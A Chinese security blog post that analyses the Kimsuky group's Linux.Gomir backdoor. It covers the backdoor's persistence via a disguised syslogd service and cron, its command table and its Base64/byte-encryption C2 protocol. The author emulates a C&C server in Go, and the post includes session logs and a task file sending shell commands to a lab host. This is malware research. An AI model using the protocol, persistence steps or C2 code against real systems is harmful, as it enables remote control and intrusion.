Kimsuky组织最新Linux.Gomir后门功能&通信模型剖析及攻击场景复现
T0daySeeker 发表于 四川 历史精选 2942浏览 · 2024-05-27 12:06

概述

近期,笔者在浏览威胁情报的时候,发现symantec公司的Threat Hunter Team团队于2024年5月16日发布了一篇报告,报告对Kimsuky组织使用的Linux后门程序进行了简单的介绍。

由于在笔者的印象中,好像此前并未见过Kimsuky组织使用Linux后门,因此,笔者也觉得比较有意思,决定对其进行详细的分析研究:

  • Golang语言编写:结合逆向分析,笔者发现此Linux后门是由Golang语言编写,虽然对Golang语言编写的二进制程序分析不多,但所幸此后门反编译后的代码含有符号信息,因此,可以基于符号信息对样本功能进行梳理;
  • 动态调试:为了能够详细的对后门程序的功能及运行逻辑进行梳理,笔者尝试了多种方法对其进行动态调试,最终发现还是使用GDB对其进行调试比较稳定;
  • 通信模型初探究:像之前的文章一样,笔者在分析此后门程序时,想对其通信模型进行深入探究,但是在动态调试的过程中,笔者发现Golang语言编写的Linux程序的某些变量数据不是特别好追踪,因此,笔者也是尝试了多次,发现一时有点不知从何下手。
  • 扩线分析:对此后门中的相关特征信息、码址信息进行关联扩线,笔者发现此Linux后门还对应的有Windows版本;此外,笔者还发现Kimsuky组织此前还曾使用过此后门C&C地址的C段IP。

自启动

install参数启动

通过分析,发现当样本以install参数启动时,则样本将执行如下操作用于将自身安装为服务:

  • 调用getegid32函数检查是否以root权限运行;
  • 将自身程序复制至/var/log/syslogd路径;
  • 创建systemd 服务,服务名为syslogd;
  • 执行如下指令启动服务:systemctl daemon-reload、systemctl reenable syslogd、systemctl start syslogd
  • 删除原始程序;

相关操作截图如下:

相关代码截图如下:

创建定时任务

通过分析,发现当样本运行后,样本将调用getegid32函数检查是否以非root权限运行,若为非root权限运行,则样本将执行如下操作用于创建定时任务:

  • 创建cron.txt文件,并在其中添加如下内容:@reboot 程序路径(在系统启动时执行程序);
  • 执行/bin/sh -c crontab -l命令,并将命令输出追加到cron.txt文件中;
  • 执行如下命令更新crontab配置:${SHELL} -c crontab cron.txt

相关代码截图如下:

通信加密算法

通过分析,发现在样本通信过程中,发现样本将对通信数据进行字节加密,然后再对其进行Base64编码。

相关代码截图如下:

字节加密运算代码截图如下:

字节解密运算代码截图如下:

接收远控指令

通过分析,发现样本运行后,将向C&C服务器发起POST请求,用于接收远控指令,相关通信载荷截图如下:

内置外链地址截图如下:

相关代码截图如下:

远控功能

远控指令(16进制) 远控指令 远控功能 备注
Info == 0x3431 14 添加并启动sock5代理 mirror_En_En_Kernel_Process_SocksAdd
Info == 0x3531 15 返回sock5代理列表 Socks list\r\n
Info == 0x3231 12 休眠 mirror_En_En_Kernel_Process_Hibernate
Info == 0x3331 13 响应消息 "Not implemented on Linux!"
Info == 0x3033 30 上传文件 mirror_En_En_Kernel_Process_Upload
Info == 0x3133 31 下载文件 mirror_En_En_Kernel_Process_Download
Info == 0x3031 10 配置shell命令的执行程序 "CmdPath: "
Info == 0x3131 11 配置shell命令的终端代码页 "Codepage: "
Info == 0x3730 07 返回进程路径 mirror_En_En_Kernel_Process_Where
Info == 0x3830 08 获取目录信息 mirror_En_En_Kernel_Process_Dirsize
Info == 0x3930 09 获取系统信息 mirror_En_En_Kernel_Process_GetInfo
Info == 0x3530 05 探测网络节点 mirror_En_En_Kernel_Process_Conn
Info == 0x3630 06 退出进程 mirror_En_En_Kernel_Process_Exit
Info == 0x3330 03 查看当前工作目录 mirror_En_En_Kernel_Process_Pwd
Info == 0x3430 04 更改当前工作目录 mirror_En_En_Kernel_Process_Cd
Info == 0x3130 01 休眠 mirror_En_En_Kernel_Process_Sleep
Info == 0x3230 02 执行shell命令 mirror_En_En_Kernel_Process_Cmd

添加并启动sock5代理

通过分析,发现当远控指令为14(0x3431)时,样本将根据远控指令内容添加sock5代理,然后将开启sock5代理,相关代码截图如下:

进一步分析,发现此样本内部调用sock5代理的核心代码为https://github.com/kost/revsocks项目代码,相关对比代码截图如下:

返回sock5代理列表

通过分析,发现当远控指令为15(0x3531)时,样本将根据远控指令内容返回sock5代理列表,相关代码截图如下:

上传文件

通过分析,发现当远控指令为30(0x3033)时,样本将根据远控指令内容上传指定文件,相关代码截图如下:

下载文件

通过分析,发现当远控指令为30(0x3033)时,样本将根据远控指令内容下载指定文件,相关代码截图如下:

获取系统信息

通过分析,发现当远控指令为09(0x3930)时,样本将根据远控指令内容返回系统信息,系统信息包括:主机名、用户名、系统硬件信息及网络信息等。相关代码截图如下:

探测网络节点

通过分析,发现当远控指令为05(0x3530)时,样本将根据远控指令内容向指定服务器建立TCP连接,用于探测网络节点。相关代码截图如下:

执行shell命令

通过分析,发现当远控指令为02(0x3230)时,样本将根据远控指令内容执行指定shell命令。相关代码截图如下:

同源分析

基于网络调研,笔者发现此样本与奇安信威胁情报中心于2024年01月30日发布的《软件安装包伪装下的Kimsuky(APT-Q-2)窃密行动》报告中的后门程序同源,同源内容主要包括:

  • 运行逻辑相同:均会根据运行参数实现自启动

  • 通信载荷结构相同

  • 远控指令编号及函数名相同

攻击者资产剖析

尝试对C&C站点(216.189.159.34)进行分析,笔者发现此站点当前已经挂掉,基于网络调研,笔者发现微步云沙箱中记录了此样本的通信数据(数据包通信时间:2024年1月29日),相关截图如下:

尝试对其响应载荷进行分析,发现此响应载荷结构并非样本远控指令对应的响应载荷内容,因此,推测此载荷为木马C&C静默状态下的响应数据。

进一步分析,笔者发现此C&C地址的C段IP早在2020年11月就已存在被Kimsuky组织利用的记录,相关报告截图如下:

后续

在上半部分文章中,笔者对Kimsuky组织使用的最新Linux.Gomir后门的功能进行了简单剖析,同时也对其通信模型剖析进行了简单尝试,最后由于动态调试的原因,一时未能对其有所突破。

虽然暂时未能对其通信模型进行突破,笔者也曾自我怀疑的一会。。。

所以,在写完上半部分文章后,笔者又开始尝试对其通信模型进行剖析,不过好在功夫不负有心人,笔者最终还是成功对其通信模型梳理清楚,同时还基于其通信模型,模拟构建了此后门所对应的控制端C&C站点程序。

为了能够完整复现Linux.Gomir后门的攻击场景,笔者从如下角度开展了研究分析工作:

  • 一个小坑:结合网络中的分析报告,才发现是由于笔者动态调试时赋值的数据载荷长度不够,导致一直无法进入后续远控功能代码,让笔者误以为后门功能分析错误。
  • 关键代码剖析:结合逆向分析,对此Linux.Gomir后门的通信关键代码进行详细剖析。
  • 后门C&C站点效果:基于模拟构建的Linux.Gomir后门C&C站点程序,模拟复现Linux.Gomir后门的远程控制行为。
  • 后门通信模型剖析:结合动态调试,研究分析Linux.Gomir后门的通信模型。
  • 模拟构建后门C&C站点:构建Linux.Gomir后门C&C站点。

一个小坑

可能是技术思维习惯了,笔者在对此后门程序进行分析的过程中,遇到问题总是容易陷入在自己想办法解决的状态,所以在笔者冷静了几天,再次对此后门程序进行剖析的过程中,笔者发现:原来在symantec公司的Threat Hunter Team团队发布的报告中,里面就有一句话对其通信数据结构进行了简单描述,相关截图如下:

基于报告再次回想对比分析,笔者发现,其实笔者的初探分析结果是与其相同的:笔者也曾使用S开头的字符串+Base64数据作为响应数据,但是比较遗憾的是,笔者构建的Base64解码前的数据一直是4至5字节,因此导致后门程序在运行过程中一直无法进入处理远控指令的逻辑代码处。

结合报告内容,笔者才突然醒悟,原来是我构造的通信数据载荷太小了。。。有点小无语。。。

关键代码剖析

POST请求

通过分析,发现此后门程序运行后,将调用mirror_common_HttpPostForm函数发起POST请求,相关代码截图如下:

构建模拟通信环境,提取HTTP POST请求通信数据包,梳理发现POST请求载荷结构为:

a[9个随机字符]=2&b[9个随机字符]=g-[ID信息]1&c[9个随机字符]=

相关通信数据包截图如下:

相关代码截图如下:

POST请求响应

通过分析,发现POST请求成功后,此后门程序将调用io.ReadAll函数从HTTP响应数据中提取载荷内容,相关代码截图如下:

判断载荷标志

通过分析,发现此后门程序在开始对其通信载荷进行解密前,将对其载荷标志进行判断,判断其是否是以S字符开头的字符串,相关代码截图如下:

Base64编码

通过分析,发现若通信载荷是以S字符开头的字符串,则此后门程序将对其S字符后续的字符串内容进行Base64解码,相关代码截图如下:

自定义加密算法

通过分析,发现若成功对其S字符后续的字符串进行Base64解码,则此后门程序将调用自定义加解密算法对其通信载荷进行字节解密,相关代码截图如下:

提取远控指令

通过分析,发现成功对其通信载荷进行字节解密后,则此后门程序将对其解密后的载荷数据长度进行判断,若长度大于等于2,则样本将提取前两个字节数据作为远控指令,相关代码截图如下:

后门C&C站点效果

结合逆向分析,笔者对此后门程序的通信模型进行了简单梳理,并尝试模拟构建了一款后门控制端C&C站点程序,经过简单测试,可有效的与Kimsuky组织的最新Linux.Gomir后门进行交互。

C&C站点程序启用后,我们可正常访问其WEB服务,相关截图如下:

Kimsuky组织最新Linux.Gomir后门上线后,即可开展正常的远控行为,相关截图如下:

通信过程中C&C站点中内置的远控指令如下:

通信过程中C&C站点记录的远控指令响应结果如下:

F:\GolandProjects\awesomeProject5>awesomeProject5.exe
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
 - using env:   export GIN_MODE=release
 - using code:  gin.SetMode(gin.ReleaseMode)

Send: 3133@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       992.7µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 Not implemented on Linux!
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       132.5µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Send: 3037@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       991.5µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 /home/temp/Desktop/test
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       307.9µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Send: 3038@/tmp/
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       503.7µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 dir: 18 file: 15 size: 485 kB(484744)
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|         138µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Send: 3039@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       976.9µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 Hostname: localhost.localdomain
Username: temp
CPU: Intel(R) Core(TM) i7-10510U CPU @ 1.80GHz (Phy: 2, Log: 2)
Memory: 1.9 GB
Network:
        Index: 1
        Name: lo
        MAC:
        Addr: 127.0.0.1/8
        Addr: ::1/128

        Index: 2
        Name: ens33
        MAC: 00:0c:29:a1:5f:86
        Addr: 192.168.153.145/24
        Addr: fe80::917c:3440:6adc:dafe/64

        Index: 3
        Name: virbr0
        MAC: 52:54:00:f1:3f:d2

        Index: 4
        Name: virbr0-nic
        MAC: 52:54:00:f1:3f:d2


[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       495.1µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Send: 3032@ifconfig
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       495.1µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.153.145  netmask 255.255.255.0  broadcast 192.168.153.255
        inet6 fe80::917c:3440:6adc:dafe  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:a1:5f:86  txqueuelen 1000  (Ethernet)
        RX packets 73472  bytes 103306782 (98.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 9186  bytes 656471 (641.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 68  bytes 5920 (5.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 68  bytes 5920 (5.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       277.4µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Send: 3032@whoami
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       493.4µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 temp

[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|        41.2µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Send: 3032@id
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       495.3µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 uid=1000(temp) gid=1000(temp) groups=1000(temp) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       495.9µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Send: 3135@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       992.9µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 Socks list

[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|            0s | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Send: 3033@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       493.3µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 /home/temp/Desktop
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|            0s | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Send: 3036@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m|       992.5µs | 192.168.153.145 |[97;46m POST    [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 [+] Bye!

F:\GolandProjects\awesomeProject5>

后门通信模型剖析

通信数据包

在模拟构建后门控制端C&C站点程序时,笔者又发现了一个用于返回响应数据的新的POST请求载荷数据结构,详细情况如下:

#请求获取远控指令
a[9个随机字符]=2&b[9个随机字符]=g-[ID信息]1&c[9个随机字符]=

#请求返回远控指令执行结果
x[9个随机字符]=1&y[9个随机字符]=g-[ID信息]2&z[9个随机字符]=[加密后的通信载荷数据]

通信过程中产生的http通信数据包截图如下:

通信模型剖析

通过分析,梳理此后门程序的网络通信逻辑如下:

  • 通信载荷数据结构分为两种:
    • 请求获取远控指令:a[9个随机字符]=2&b[9个随机字符]=g-[ID信息]1&c[9个随机字符]=
    • 请求返回远控指令执行结果:x[9个随机字符]=1&y[9个随机字符]=g-[ID信息]2&z[9个随机字符]=[加密后的通信载荷数据]
  • 解密通信载荷数据时,不同指令进行Base64加密时,使用的Base64编码规则不同
    • A-Za-z0-9+/=
    • A-Za-z0-9-_

Base64编码使用A-Za-z0-9+/=编码规则的远控指令通信模型如下:

#************************请求获取远控指令************************
POST /mmir/index.php HTTP/1.1
Host: 192.168.153.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

a61endK579=2&b1YFHR0UZo=g-f8cc082c2d1&c0V9HtmaP7=

#通信数据解析
ID值:g-f8cc082c2d

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Sat, 25 May 2024 09:57:39 GMT
Content-Length: 9

SAQEBATI0

#通信数据解析
S   #通信载荷标志
AQEBATI0    #加密通信载荷

#通信数据解密
#第一层:Base64解码(A-Za-z0-9+/=)
010101013234

01010101    #4字节密钥
3234        #自定义算法加密数据
#第二层:字节解密
3133
#************************请求返回远控指令执行结果************************
POST /mmir/index.php HTTP/1.1
Host: 192.168.153.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

xa36ldBPzJ=1&yQj2AwyLgS=g-f8cc082c2d2&zqm09Tpx2C=AQEBAU9wdSFqbnFtZm5mb3VmZSFwbyFNam92eSI%3D

#通信数据解析
g-f8cc082c2d    #ID值
AQEBAU9wdSFqbnFtZm5mb3VmZSFwbyFNam92eSI%3D  #通信载荷

#通信数据解密
#第一层:Base64解码(A-Za-z0-9+/=)
010101014f7075216a6e716d666e666f75666521706f214d6a6f767922

01010101    #4字节密钥
4f7075216a6e716d666e666f75666521706f214d6a6f767922      #自定义算法加密数据
#第二层:字节解密
4e6f7420696d706c656d656e746564206f6e204c696e757821
Not implemented on Linux!   #字节数据对应字符串

HTTP/1.1 200 OK
Date: Sat, 25 May 2024 09:57:39 GMT
Content-Length: 0

相关截图如下:

Base64编码使用A-Za-z0-9-_编码规则的远控指令通信模型如下:

#************************请求获取远控指令************************
POST /mmir/index.php HTTP/1.1
Host: 192.168.153.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

aqMfKTbLD6=2&bnImONapi6=g-f8cc082c2d1&cIcZXdvNvH=

#通信数据解析
ID值:g-f8cc082c2d

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Sat, 25 May 2024 09:57:39 GMT
Content-Length: 21

SAQEBATEzamdkcG9namg=

#通信数据解析
S   #通信载荷标志
AQEBATEzamdkcG9namg=    #加密通信载荷

#通信数据解密
#第一层:Base64解码(A-Za-z0-9+/=)
0101010131336a6764706f676a68

01010101    #4字节密钥
31336a6764706f676a68        #自定义算法加密数据
#第二层:字节解密
30326966636f6e666967

3032    #远控指令02:执行shell命令
6966636f6e666967    #对应字符串:ifconfig 

#************************请求返回远控指令执行结果************************
POST /mmir/index.php HTTP/1.1
Host: 192.168.153.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 1245
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

x9uue5BPf4=1&yf2whrtOeu=g-f8cc082c2d2&z9DC6zfdly=AQEBAWZvdDQ0OyFnbWJodD41Mjc0PVZRLUNTUEJFREJUVS1TVk9PSk9ILU5WTVVKREJUVT8hIW51diEyNjExCyEhISEhISEham9mdSEyOjMvMjc5LzI2NC8yNTYhIW9mdW5idGwhMzY2LzM2Ni8zNjYvMSEhY3NwYmVkYnR1ITI6My8yNzkvMjY0LzM2NgshISEhISEhIWpvZnU3IWdmOTE7OzoyOGQ7NDU1MTs3YmVkO2ViZ2YhIXFzZmdqeW1mbyE3NSEhdGRwcWZqZSExeTMxPW1qb2w_CyEhISEhISEhZnVpZnMhMTE7MWQ7Mzo7YjI7Nmc7OTchIXV5cnZmdmZtZm8hMjExMSEhKUZ1aWZzb2Z1KgshISEhISEhIVNZIXFiZGxmdXQhODQ1ODMhIWN6dWZ0ITIxNDQxNzg5MyEpOjkvNiFOakMqCyEhISEhISEhU1khZnNzcHN0ITEhIWVzcHFxZmUhMSEhcHdmc3N2b3QhMSEhZ3NibmYhMQshISEhISEhIVVZIXFiZGxmdXQhOjI5NyEhY3p1ZnQhNzY3NTgyISk3NTIvMSFMakMqCyEhISEhISEhVVkhZnNzcHN0ITEhIWVzcHFxZmUhMSFwd2Zzc3ZvdCExISFkYnNzamZzITEhIWRwbW1qdGpwb3QhMQsLbXA7IWdtYmh0Pjg0PVZRLU1QUFFDQkRMLVNWT09KT0g_ISFudXYhNzY2NDcLISEhISEhISFqb2Z1ITIzOC8xLzEvMiEhb2Z1bmJ0bCEzNjYvMS8xLzELISEhISEhISFqb2Z1NyE7OzIhIXFzZmdqeW1mbyEyMzkhIXRkcHFmamUhMXkyMT1pcHR1PwshISEhISEhIW1wcHEhIXV5cnZmdmZtZm8hMjExMSEhKU1wZGJtIU1wcHFjYmRsKgshISEhISEhIVNZIXFiZGxmdXQhNzkhIWN6dWZ0ITY6MzEhKTYvOCFMakMqCyEhISEhISEhU1khZnNzcHN0ITEhIWVzcHFxZmUhMSEhcHdmc3N2b3QhMSEhZ3NibmYhMQshISEhISEhIVVZIXFiZGxmdXQhNzkhIWN6dWZ0ITY6MzEhKTYvOCFMakMqCyEhISEhISEhVVkhZnNzcHN0ITEhIWVzcHFxZmUhMSFwd2Zzc3ZvdCExISFkYnNzamZzITEhIWRwbW1qdGpwb3QhMQsL

#通信数据解析
g-f8cc082c2d    #ID值
AQEBAWZvdDQ0OyFnbWJodD41Mjc0PVZRLUNTUEJFREJUVS1TVk9PSk9ILU5WTVVKREJUVT8hIW51diEyNjExCyEhISEhISEham9mdSEyOjMvMjc5LzI2NC8yNTYhIW9mdW5idGwhMzY2LzM2Ni8zNjYvMSEhY3NwYmVkYnR1ITI6My8yNzkvMjY0LzM2NgshISEhISEhIWpvZnU3IWdmOTE7OzoyOGQ7NDU1MTs3YmVkO2ViZ2YhIXFzZmdqeW1mbyE3NSEhdGRwcWZqZSExeTMxPW1qb2w_CyEhISEhISEhZnVpZnMhMTE7MWQ7Mzo7YjI7Nmc7OTchIXV5cnZmdmZtZm8hMjExMSEhKUZ1aWZzb2Z1KgshISEhISEhIVNZIXFiZGxmdXQhODQ1ODMhIWN6dWZ0ITIxNDQxNzg5MyEpOjkvNiFOakMqCyEhISEhISEhU1khZnNzcHN0ITEhIWVzcHFxZmUhMSEhcHdmc3N2b3QhMSEhZ3NibmYhMQshISEhISEhIVVZIXFiZGxmdXQhOjI5NyEhY3p1ZnQhNzY3NTgyISk3NTIvMSFMakMqCyEhISEhISEhVVkhZnNzcHN0ITEhIWVzcHFxZmUhMSFwd2Zzc3ZvdCExISFkYnNzamZzITEhIWRwbW1qdGpwb3QhMQsLbXA7IWdtYmh0Pjg0PVZRLU1QUFFDQkRMLVNWT09KT0g_ISFudXYhNzY2NDcLISEhISEhISFqb2Z1ITIzOC8xLzEvMiEhb2Z1bmJ0bCEzNjYvMS8xLzELISEhISEhISFqb2Z1NyE7OzIhIXFzZmdqeW1mbyEyMzkhIXRkcHFmamUhMXkyMT1pcHR1PwshISEhISEhIW1wcHEhIXV5cnZmdmZtZm8hMjExMSEhKU1wZGJtIU1wcHFjYmRsKgshISEhISEhIVNZIXFiZGxmdXQhNzkhIWN6dWZ0ITY6MzEhKTYvOCFMakMqCyEhISEhISEhU1khZnNzcHN0ITEhIWVzcHFxZmUhMSEhcHdmc3N2b3QhMSEhZ3NibmYhMQshISEhISEhIVVZIXFiZGxmdXQhNzkhIWN6dWZ0ITY6MzEhKTYvOCFMakMqCyEhISEhISEhVVkhZnNzcHN0ITEhIWVzcHFxZmUhMSFwd2Zzc3ZvdCExISFkYnNzamZzITEhIWRwbW1qdGpwb3QhMQsL    #通信载荷

#通信数据解密
#第一层:Base64解码(A-Za-z0-9+/=)
01010101666f7434343b21676d6268743e353237343d56512d4353504245444254552d53564f4f4a4f482d4e564d554a444254553f21216e757621323631310b21212121212121216a6f667521323a332f3237392f3236342f32353621216f66756e62746c213336362f3336362f3336362f31212163737062656462747521323a332f3237392f3236342f3336360b21212121212121216a6f66753721676639313b3b3a3238643b343535313b376265643b656267662121717366676a796d666f213735212174647071666a6521317933313d6d6a6f6c3f0b212121212121212166756966732131313b31643b333a3b62323b36673b39372121757972766676666d666f213231313121212946756966736f66752a0b21212121212121215359217162646c6675742138343538332121637a7566742132313434313738393321293a392f36214e6a432a0b21212121212121215359216673737073742131212165737071716665213121217077667373766f74213121216773626e6621310b21212121212121215559217162646c667574213a3239372121637a7566742137363735383221293735322f31214c6a432a0b212121212121212155592166737370737421312121657370717166652131217077667373766f7421312121646273736a66732131212164706d6d6a746a706f7421310b0b6d703b21676d6268743e38343d56512d4d5050514342444c2d53564f4f4a4f483f21216e75762137363634370b21212121212121216a6f6675213233382f312f312f3221216f66756e62746c213336362f312f312f310b21212121212121216a6f667537213b3b322121717366676a796d666f21323339212174647071666a6521317932313d697074753f0b21212121212121216d7070712121757972766676666d666f21323131312121294d7064626d214d7070716362646c2a0b21212121212121215359217162646c6675742137392121637a75667421363a33312129362f38214c6a432a0b21212121212121215359216673737073742131212165737071716665213121217077667373766f74213121216773626e6621310b21212121212121215559217162646c6675742137392121637a75667421363a33312129362f38214c6a432a0b212121212121212155592166737370737421312121657370717166652131217077667373766f7421312121646273736a66732131212164706d6d6a746a706f7421310b0b

01010101    #4字节密钥
666f7434343b21676d6268743e353237343d56512d4353504245444254552d53564f4f4a4f482d4e564d554a444254553f21216e757621323631310b21212121212121216a6f667521323a332f3237392f3236342f32353621216f66756e62746c213336362f3336362f3336362f31212163737062656462747521323a332f3237392f3236342f3336360b21212121212121216a6f66753721676639313b3b3a3238643b343535313b376265643b656267662121717366676a796d666f213735212174647071666a6521317933313d6d6a6f6c3f0b212121212121212166756966732131313b31643b333a3b62323b36673b39372121757972766676666d666f213231313121212946756966736f66752a0b21212121212121215359217162646c6675742138343538332121637a7566742132313434313738393321293a392f36214e6a432a0b21212121212121215359216673737073742131212165737071716665213121217077667373766f74213121216773626e6621310b21212121212121215559217162646c667574213a3239372121637a7566742137363735383221293735322f31214c6a432a0b212121212121212155592166737370737421312121657370717166652131217077667373766f7421312121646273736a66732131212164706d6d6a746a706f7421310b0b6d703b21676d6268743e38343d56512d4d5050514342444c2d53564f4f4a4f483f21216e75762137363634370b21212121212121216a6f6675213233382f312f312f3221216f66756e62746c213336362f312f312f310b21212121212121216a6f667537213b3b322121717366676a796d666f21323339212174647071666a6521317932313d697074753f0b21212121212121216d7070712121757972766676666d666f21323131312121294d7064626d214d7070716362646c2a0b21212121212121215359217162646c6675742137392121637a75667421363a33312129362f38214c6a432a0b21212121212121215359216673737073742131212165737071716665213121217077667373766f74213121216773626e6621310b21212121212121215559217162646c6675742137392121637a75667421363a33312129362f38214c6a432a0b212121212121212155592166737370737421312121657370717166652131217077667373766f7421312121646273736a66732131212164706d6d6a746a706f7421310b0b      #自定义算法加密数据
#第二层:字节解密
656e7333333a20666c6167733d343136333c55502c42524f4144434153542c52554e4e494e472c4d554c5449434153543e20206d747520313530300a2020202020202020696e6574203139322e3136382e3135332e31343520206e65746d61736b203235352e3235352e3235352e30202062726f616463617374203139322e3136382e3135332e3235350a2020202020202020696e65743620666538303a3a393137633a333434303a366164633a6461666520207072656669786c656e203634202073636f7065696420307832303c6c696e6b3e0a202020202020202065746865722030303a30633a32393a61313a35663a38362020747871756575656c656e203130303020202845746865726e6574290a20202020202020205258207061636b6574732037333437322020627974657320313033333036373832202839382e35204d6942290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732039313836202062797465732036353634373120283634312e30204b6942290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a6c6f3a20666c6167733d37333c55502c4c4f4f504241434b2c52554e4e494e473e20206d74752036353533360a2020202020202020696e6574203132372e302e302e3120206e65746d61736b203235352e302e302e300a2020202020202020696e657436203a3a3120207072656669786c656e20313238202073636f7065696420307831303c686f73743e0a20202020202020206c6f6f702020747871756575656c656e20313030302020284c6f63616c204c6f6f706261636b290a20202020202020205258207061636b6574732036382020627974657320353932302028352e37204b6942290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732036382020627974657320353932302028352e37204b6942290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a
#字节数据对应字符串
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.153.145  netmask 255.255.255.0  broadcast 192.168.153.255
        inet6 fe80::917c:3440:6adc:dafe  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:a1:5f:86  txqueuelen 1000  (Ethernet)
        RX packets 73472  bytes 103306782 (98.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 9186  bytes 656471 (641.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 68  bytes 5920 (5.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 68  bytes 5920 (5.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


HTTP/1.1 200 OK
Date: Sat, 25 May 2024 09:57:39 GMT
Content-Length: 0

相关截图如下:

模拟构建后门C&C站点

在这里,笔者将使用golang语言模拟构建Kimsuky组织最新Linux.Gomir后门的C&C站点,详细情况如下:

代码结构如下:

代码实现

  • task1.txt
3133@
3037@
3038@/tmp/
3039@
3032@ifconfig
3032@whoami
3032@id
3135@
3033@
3036@
  • main.go
package main

import (
    "awesomeProject5/common"
    "awesomeProject5/web"
    "github.com/gin-gonic/gin"
    "os"
)

func main() {
    init_tasks_Kimsuky_LinuxBackDoor()
    //*****http******
    r := gin.Default()
    // 设置GIN模式为release模式
    gin.SetMode(gin.ReleaseMode)
    r.GET("/", web.HandleRoot)
    r.POST("/mmir/index.php", web.Handle_POST)
    r.Run(":80")
}

